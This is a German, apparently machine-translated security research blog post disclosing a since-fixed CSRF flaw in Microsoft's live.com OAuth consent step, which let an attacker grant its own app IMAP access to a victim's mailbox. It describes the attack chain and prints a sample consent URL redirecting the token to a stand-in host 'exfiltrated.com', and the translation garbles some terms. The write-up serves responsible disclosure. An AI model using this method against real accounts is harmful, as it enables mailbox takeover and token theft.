Bei Synack genießen wir wirklich große Schwachstellen, ob im Web, mobil, Host oder sogar in völlig unverschämten Geräten und Systemen (satellite Hacking anyone?). Aber wir halten die großartigen Erkenntnisse, die wir und das SRT für unsere Kunden gemacht haben, immer vertraulich. Obwohl dies kein Beitrag über ein großes Problem in einem Synack-Kunden sein wird, deckt es genau die Art von Dingen ab, die wir wöchentlich oder manchmal täglich sehen: Eine Sicherheitslücke in einem System mit Millionen von Benutzern, die zu einem vollständigen Kompromiss der Systemsicherheit führt.

Ich habe kürzlich eine Schwachstelle in Microsofts Live.com Authentifizierungssystem, das, wenn Sie ein Konto bei einem Microsoft-Dienst haben, Sie wahrscheinlich betroffen hätte. Dieser Beitrag beschreibt die vollständigen Details der Sicherheitsanfälligkeit, nachdem Microsoft das Problem behoben hat.

Einleitung

Das Verständnis der durchschnittlichen Person für Computersicherheit war schon immer ziemlich begrenzt. Zurück in den Tag, wenn jemand hörte, dass Sie in der Computersicherheit beteiligt waren, wäre die Standardfrage „Können Sie meine Hotmail hacken“, oder öfter, „Können Sie die Hotmail meines Freundes hacken“. Ich nehme an, dass damals noch Yahoo Mail verwendet wurde und Microsoft Hotmail noch nicht erworben hatte, aber das ist ein bisschen zu weit zurück! Zwangsläufig würden Sie entweder vorschlagen, dass die Person nur die Fragen zum Zurücksetzen des Passworts der Person erraten oder Sub7 installieren soll. Eigentlich war das Hacken von Hotmail zu schwierig, ganz zu schweigen von völlig illegal.

Die Welt der Informationssicherheit hat sich in den letzten Jahren stark verändert, und anders als in den vergangenen Jahren ermutigt Microsoft jetzt Sicherheitsforscher, zu versuchen, „Hotmail zu hacken“. Natürlich wurde Hotmail in Outlook umgewandelt.mit, und heutzutage möchte jeder wissen, ob Sie sein Facebook hacken können, aber das ist nebensächlich.

Das Microsoft Online Services Bounty-Programm wurde kürzlich aktualisiert, um „Microsoft Account“ als Ziel aufzunehmen, bei dem es sich im Grunde um die Anmeldesysteme handelt, die in jeder dieser Domänen gehostet werden:
– login.windows.net
– login.microsoftonline.com
– login.live.com

In der obigen Liste, login.live.com ist das Authentifizierungssystem, das Sie durchlaufen, wenn Sie versuchen, sich zu authentifizieren Outlook.com und eine große Anzahl anderer Microsoft-Dienste. Ich beschloss, es zuerst zu untersuchen, um zu sehen, ob ich irgendwelche Probleme entdecken konnte. Wie erwartet schienen die verschiedenen APIs, die zur Verarbeitung eines Logins verwendet wurden, gut gehärtet zu sein. An vielen Stellen gab es zusätzliche Schutzschichten; Zum Beispiel werden Passwörter an einigen Stellen vor der Übertragung mit einem öffentlichen Schlüssel verschlüsselt, obwohl die gesamte Kommunikation über HTTPS erfolgt.

Nachdem ich einige Stunden getestet hatte, entdeckte ich ein paar kleinere Probleme, die ich meldete, aber nichts wirklich Bemerkenswertes. Beim Testen von Webanwendungen stelle ich häufig fest, dass der häufigste Workflow auch der sicherste ist, daher habe ich andere Möglichkeiten untersucht, wie sich ein Benutzer bei der live.com system. Vor fast einem Jahr hatte ich mehrere OAuth-Sicherheitslücken in Yammer gefunden, die auch ein Bounty-Ziel für Microsoft Online Services waren live.com . Hier beginnen die interessanten Erkenntnisse!

Hintergrund der Sicherheitsanfälligkeit

Bevor ich direkt auf die entdeckte Sicherheitsanfälligkeit eingehe, ist ein kurzer Überblick über das fehlgeleitete Sicherheitssystem OAuth erforderlich:

Wikipedia sagt mir, dass „OAuth Clientanwendungen einen „sicheren delegierten Zugriff“ auf Serverressourcen im Namen eines Ressourcenbesitzers bietet“. Wikipedia hat auch einige vernichtende Kommentare zu seiner Entwicklung und Sicherheit, die es wert sind, für ein gutes Lachen gelesen zu werden. Realistisch gesehen erlaubt OAuth einem Benutzer nur, einem Dritten Zugriff auf einige oder alle Zugriffe seines Kontos zu gewähren. Ich habe eine MS Paint-Zeichnung erstellt, um dies zu veranschaulichen, da ich auf Wikipedia keine großartige finden konnte.

Wie im obigen Bild zu sehen ist, verfügen Sie über einen Server, den der Benutzer autorisiert hat, einer Client-App Zugriff auf sein Konto zu gewähren. Der Mechanismus, der dies hinter den Kulissen handhabt, kann auf verschiedene Arten erstellt werden, die im OAuth-RFC definiert sind. Eine Möglichkeit, es zu erstellen, besteht in einem „impliziten“ Authentifizierungsfluss, bei dem der Authentifizierungsserver dem Client direkt einen Zugriffsschlüssel gibt. Eine andere beliebte Methode ist die Verwendung eines „Autorisierungscode“ -Verfahrens, bei dem der Authentifizierungsserver einen Autorisierungscode ausgibt, den das Clientsystem entgegennimmt, und dann unter Verwendung seines geheimen Clientwerts gegen einen Zugriffsschlüssel austauscht. Microsoft hat eine gute Beschreibung ihrer Verwendung, wie sie diese Mechanismen implementiert haben live.com hier:
https://msdn.microsoft.com/en-us/library/hh243647.aspx

Die Grafik, die sie für den Fluss „Autorisierungscode“ erstellt haben, sieht folgendermaßen aus:

Ein solches Bild ist großartig, um den Prozess zu verstehen, aber für mich als Stifttester zeigt es auch viele Möglichkeiten und Orte, an denen Dinge schief gehen können. Also mit dem als Hintergrund, weiter zu dem, was entdeckt wurde!

Was könnte schief gehen?

Wie im obigen Abschnitt erwähnt, gibt es viele Orte, an denen etwas schief gehen könnte. Einer der grundlegenden Schritte im OAuth-Authentifizierungsverfahren besteht darin, dass ein Benutzer einer Anwendung Zugriff gewährt. Dies wird normalerweise durch eine Eingabeaufforderung wie diese erreicht:

Im Allgemeinen muss ein Benutzer diese Eingabeaufforderung nur einmal akzeptieren, aber bis er sie akzeptiert, hat diese App keinen Zugriff auf sein Konto (ob der durchschnittliche Benutzer Wes ‚böser App den Zugriff erlaubt oder nicht, ist vielleicht eine andere Frage!).

Wenn wir als Angreifer denken, wäre es definitiv großartig, wenn wir die Anfrage im Namen des Benutzers annehmen könnten. Leider wurde der Header „X-Frame-Options“ auf „deny“ gesetzt (die Einstellungen für x-Frame-options waren auch für dieses Kopfgeld nicht möglich). Während Clickjacking draußen ist, habe ich beschlossen, ein besseres Verständnis dafür zu bekommen, wie die Anfrage selbst funktioniert. Wenn ein Benutzer auf „Ja“ klickt, wird die folgende Anforderung an den Server gesendet (plus einige langweilige Header):

Während der obige URL-Pfad einige generierte Token enthält, zeigten Tests, dass sie für den Erfolg der Anforderung nicht erforderlich waren. Ein POST an die folgende URL würde genauso gut funktionieren:

https://account.live.com/Consent/Update?ru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d000000004C15E107% 26scope%3dwl.grundlegender%26response_type%3dcode%26redirect_uri%3dhttp:// exfiltrated.com &client_id=000000004C15E107&rd=exfiltriert.com&Geltungsbereich=wl.basic

Das mit der Anfrage gesendete Cookie musste ein gültiges Sitzungstoken in „IPT“ enthalten. Dieser Cookie-Wert wird von aufgefüllthttps://login.live.com/oauth20_authorize.srf bevor die Seite angezeigt wird, auf der der Benutzer zur Berechtigung aufgefordert wird. Dies geschieht unabhängig davon, ob ein Benutzer letztendlich auf „Ja“ klickt oder nicht, obwohl es von einem Javascript-Code festgelegt wird.

Wenn Sie folgen, fragen Sie hoffentlich jetzt: „OK, was ist mit der POST-Anfrage selbst und diesem kanarischen Wert?“. Ich hatte zuerst alle anderen Parameter und Kommunikationsflüsse untersucht, da ein Wert mit der Bezeichnung „canary“, der mit einer POST-Anforderung gesendet wird, mit ziemlicher Sicherheit bedeutet, dass er als Token verwendet wird, um CSRF-Angriffe zu verhindern. Der Sinn von Sicherheitstests besteht jedoch darin, zu überprüfen, ob die Annahmen tatsächlich korrekt sind. Also habe ich die POST-Anfrage geändert und den Canary-Wert in „hacks_go_here“ geändert. Anstatt zu einem 500-Fehler umzuleiten, hat der Server eine positive Antwort zurückgeschickt!

CSRF zu PoC

Da das CSRF-Token das letzte war, was ich zu manipulieren versucht hatte, wusste ich mit Sicherheit, dass dies eine gültige CSRF-Sicherheitsanfälligkeit darstellen sollte. Wie bei fast jedem CSRF-Angriff war die einzige Voraussetzung, dass das Opfer angemeldet war und ein gültiges Sitzungstoken in seinem Cookie hatte. Im Gegensatz zu vielen anderen Web-Schwachstellen hängt die Auswirkung einer CSRF-Schwachstelle vollständig von der betroffenen API-Funktion ab. Mit dieser CSRF kann ich den Benutzerinteraktionsschritt des OAuth-Authentifizierungssystems umgehen, aber ein PoC sagt mehr als tausend Worte, Daher bestand der nächste Schritt darin, Code zu erstellen, um die Auswirkungen dieser Sicherheitsanfälligkeit angemessen zu demonstrieren.

Im normalen OAuth-Authentifizierungsablauf sollte der Server, nachdem der Benutzer Zugriff gewährt hat, einen Zugriffscode an den Benutzer zurückgeben. Der Benutzer übergibt dies an die Clientanwendung, die dann die erteilten Berechtigungen verwenden kann. A live.com client-Anwendung kann eine breite Palette von möglichen Berechtigungen anfordern. Ich habe überlegt, nur die Kontakte des Benutzers oder ähnliches zu löschen, aber warum sollte ich das Ziel opfern, Hotmail jetzt zu hacken? Die Berechtigungen, die mein PoC damals benötigte, waren:

wl.offline_access+wl.imap

Offline war nicht so notwendig, aber ich warf es ein, um zu zeigen, dass es gewährt würde.

Mit den erforderlichen Berechtigungen gibt es 4 Schritte, um Zugriff auf das E-Mail-Konto eines Benutzers zu erhalten:

1) Wir müssen eine Autorisierungsanfrage für unsere Client-App mit den oben genannten Berechtigungen stellen. Der Server fordert den Benutzer auf, zu akzeptieren oder abzulehnen.
2) Wenn ein Benutzer unsere Anfrage nach diesen Berechtigungen akzeptiert, hängt der Server einen Parameter „#access_token=<token>“ an die Weiterleitung an, die wir anweisen sollen.
3) Da unsere serverseitigen Skripte Zugriff auf diesen Wert benötigen, müssen wir eine einfache Seite erstellen, um das Token aus dem URL-Feld des Browsers zu übernehmen und an unseren Server zu übergeben.
4) Schließlich benötigen wir einige Skripte serverseitig, um dieses Token zu übernehmen und es zum Anmelden bei IMAP zu verwenden. Microsoft hat einen etwas verworrenen Prozess für die Verwendung des OAuth-Tokens, um sich direkt über IMAP anzumelden. Dafür gibt es einige Beispielbibliotheken, und der gesamte Prozess wird auf dieser Seite beschrieben:
https://msdn.microsoft.com/en-us/library/dn440163.aspx

Dieser Workflow würde gut funktionieren, vorausgesetzt, der Benutzer erteilt uns die Erlaubnis. Ich muss jetzt nur noch den Workflow ändern, um stattdessen die CSRF einzuschließen. Wie bereits erwähnt, die live.com der Authentifizierungsserver erwartet ein Sitzungstoken im IPT-Cookie. Wir können sicherstellen, dass dies ausgefüllt wird, indem wir den Benutzer zuerst an eine validhttps://login.live.com/oauth20_authorize.srf-Seite senden. Unmittelbar danach können wir die CSRF-Anforderung ausführen, die den neu ausgefüllten Cookie-Wert verwendet. Dies kann nun Schritt 1 ersetzen und den Server zwingen, sofort zu Schritt 2 zu springen.

Demo und Auswirkungen

Microsoft hat dieses Problem jetzt behoben, aber hier ist ein kurzes Video, das es in Aktion zeigt.

Wie im Video zu sehen ist, ist alles, was wirklich notwendig ist, das Opfer dazu zu bringen, Ihre bösartige Webseite zu besuchen. Die Demo wurde nicht entwickelt, um hinterhältig zu sein und im Hintergrund einer Website oder als Teil einer bösartigen Bannerwerbung zu laufen, aber es hätte sicherlich so gemacht werden können.

Wenn Sie dies als gezielten Angriff verwenden, hat dies definitiv eine hohe Auswirkung, aber dies ist auch die perfekte Art von Sicherheitsanfälligkeit, um sich in einen Wurm zu verwandeln. Mit IMAP- und Kontaktbuchzugriff kann ein Wurm problemlos alle Kontakte eines Benutzers per E-Mail versenden (oder zumindest diejenigen, die Hotmail verwenden, Outlook.com , etc), mit etwas Verlockendem, „ILOVEYOU“ Virus-Stil, und verteilt sich auf jeden Benutzer, der auf den Link klickt.

Abschließende Gedanken und Zeitleiste

Die Suche nach dieser Sicherheitsanfälligkeit und die Erstellung eines funktionierenden PoC erforderten einen erheblichen Aufwand, um die verschiedenen live.com APIs. Rückblickend ist dies jedoch nur eine klassische CSRF-Sicherheitsanfälligkeit. Das einzige, was überrascht, ist, dass es sich um ein kritisches Authentifizierungssystem handelt, mit dem letztendlich das Konto eines Benutzers übernommen werden kann.

Als externer Tester habe ich keine Ahnung, wie lange diese Sicherheitsanfälligkeit existiert hat oder ob jemals jemand versucht hat, sie auszunutzen. Gleichzeitig sind es Erkenntnisse wie diese, die definitiv zeigen, wie wertvoll es ist, externen Testern zu erlauben, Schwachstellen an Ihr Unternehmen zu übermitteln, bevor Angreifer sie gegen Sie ausnutzen. Microsoft ist weit vor den meisten Unternehmen, wenn es um Sicherheit geht, und doch sind immer noch suceptible zu Themen wie diese. Synacks Erfahrung war, dass Schwachstellen selbst in scheinbar gut gesicherten Systemen aufgedeckt werden, wenn eine große Gruppe externer Forscher dieses System testet. Das ist im Wesentlichen die Prämisse, auf der Synack arbeitet, und deshalb bieten immer mehr Unternehmen ihre eigenen Bounty-Programme an (ich würde natürlich Synacks Programm empfehlen, anstatt Ihr eigenes zu betreiben!).

Wie in der folgenden Zeitleiste zu sehen ist, hat Microsoft darauf reagiert, eine Lösung für dieses Problem zu finden, was großartig zu sehen war.

Zeitleiste:
August 23, 2015: Schwachstelle entdeckt
August 25, 2015: Schwachstelle an Microsoft gemeldet
August 31, 2015: Microsoft gibt Fallnummer für Schwachstelle aus
September 15, 2015: Microsoft veröffentlicht Fix für Problem, Probleme $ 24,000 Bounty (Double Bounties Promo)